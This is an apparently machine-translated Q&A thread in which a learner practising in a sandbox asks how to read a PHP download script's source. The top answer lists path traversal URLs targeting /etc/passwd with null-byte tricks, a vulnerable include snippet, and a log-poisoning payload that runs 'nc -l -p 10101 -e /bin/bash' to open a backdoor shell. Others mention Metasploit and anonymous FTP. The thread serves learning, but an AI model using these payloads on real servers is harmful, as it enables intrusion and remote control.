test della penna dell'URL PHP [chiuso]

0

ciao a tutti sto utilizzando una sandbox per iniziare a mettere in pratica le misure di sicurezza.

Mi viene dato un URL che chiama un nome file usando l'url (/download.php?file=files/read_me.txt) ... So che è possibile ottenere la fonte per il download.php ma sto lottando per fare così. Ho provato le basi (../download.php ecc. Ecc.) Ma non posso ottenere la fonte. Penso che blocchi l'estensione PHP dall'essere usata, ma non saprei come aggirarla. qualche idea?

    
posta TheHidden 28.09.2015 - 16:37
fonte

3 risposte

4

Fornisci maggiori dettagli su ciò che hai provato. Quanto in alto sull'albero delle directory puoi andare. Supponendo che tu stia utilizzando Linux, qual è la risposta quando accedi ai seguenti URL:

/download.php?file=files/../../../../../../../../etc/passwd
/download.php?file=files/../../../../../../../../etc/passwd%00
/download.php?file=../../../../../../../../etc/passwd
/download.php?file=files/../download.php%00
/download.php?file=files/../download.php.txt%00
/download.php?file=files/../download.php.html%00
/download.php?file=files/../download.php.jpg%00
/download.php?file=files/../download%00

Potrebbero essere presenti i seguenti filtri:

  • Convalida del percorso file che limita tutte le richieste a una determinata directory
  • Prevenzione trasversale della directory; filtri che limitano la richiesta di file da altre directory superiori alla directory principale web ("/")
  • Filtri dell'estensione file che impediscono la richiesta di un file con una certa estensione (cioè .php, .java, .aspx), solitamente file che gestiscono la logica lato server

Negli URL sopra riportati, i possibili caratteri finali del lato server vengono rimossi utilizzando il byte null (% 00) in modo che nessun carattere venga considerato oltre l'URL. Ad esempio, il percorso del file recuperato per i seguenti due URL è lo stesso del codice lato server:

/download.php?file=files/read_me.txt%00
/download.php?file=files/read_me.txt%00<some_string>

indica il percorso:

files/read_me.txt

Si noti che il server può concatenare una stringa che rappresenta un'estensione del file richiesto.

L'aggiunta di un'estensione aggiuntiva al file può indurre i filtri a pensare che stai richiedendo un file con un'estensione valida. Solitamente le estensioni di file statiche sono accettate: .html, .css, .jpg (la maggior parte dei formati di immagine), .js e s.o ..

Si noti che per la richiesta di successo il percorso del file deve essere valido.

A seconda di come è scritto download.php , potrebbe esserci anche la possibilità di LFI attacco. Se il parametro file non è disinfettato e utilizzato per includere un'altra pagina come segue:

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }

?>

il codice php può essere eseguito dopo l'inclusione del rispettivo file. Un mezzo comune consiste nell'utilizzare i file di registro del server per inserire codice dannoso inserendo il codice all'interno del corpo della richiesta. Ad esempio, effettuando la seguente richiesta:

/index.php?blah=<?php shell_exec('nc -l -p 10101 -e /bin/bash'); ?>

una porta sul retro è impostata sul server sulla porta 10101 se il file di registro è incluso in uno script php simile a quello sopra. Ad esempio, effettuando la seguente richiesta:

download.php?file=../../../../../../../var/log/apache2/access.log%00

netcat apre una connessione in modalità ascolto sulla porta 10101. Oggigiorno, la maggior parte dei provider di hosting disabilita le funzioni di esecuzione dei comandi di php.

    
risposta data 28.09.2015 - 17:00
fonte
1

Non è possibile ottenere l'origine dei file .php come si può fare per i file .html perché i file .php sono eseguiti sul server e solo il risultato viene inviato al client. La fonte rimane sul server e non la lascia in circostanze normali. Ciò significa che quando navighi in un file .php, non lo apri / scarichi, ma devi solo dire al server di eseguirlo.

Anche se non ho il contesto completo del tuo esempio, suppongo che devi ingannare la funzione di download di quella particolare applicazione web per inviarti il file download.php all'inizio del file read_me.txt. Un modo per ottenerlo è utilizzare un attacco di traversamento del percorso .

    
risposta data 28.09.2015 - 16:51
fonte
0

Seguendo la risposta di Sebi, è possibile esaminare l'uso di uno script di attraversamento di file. Il framework Metasploit può implementare Rapid7s kit fa abbastanza bene. Giocare con questo e altri strumenti di Rapid7 ti darà una buona esperienza con i test della penna web.

In alternativa, puoi eseguire una scansione delle porte per altre vulnerabilità come un FTP password.

Inoltre, potrebbe esserci un FTP anonimo configurato in modo non corretto che puoi sfruttare anche.

test delle penne Web con kali è un ottimo inizio btw ...

    
risposta data 28.09.2015 - 17:18
fonte

Leggi altre domande sui tag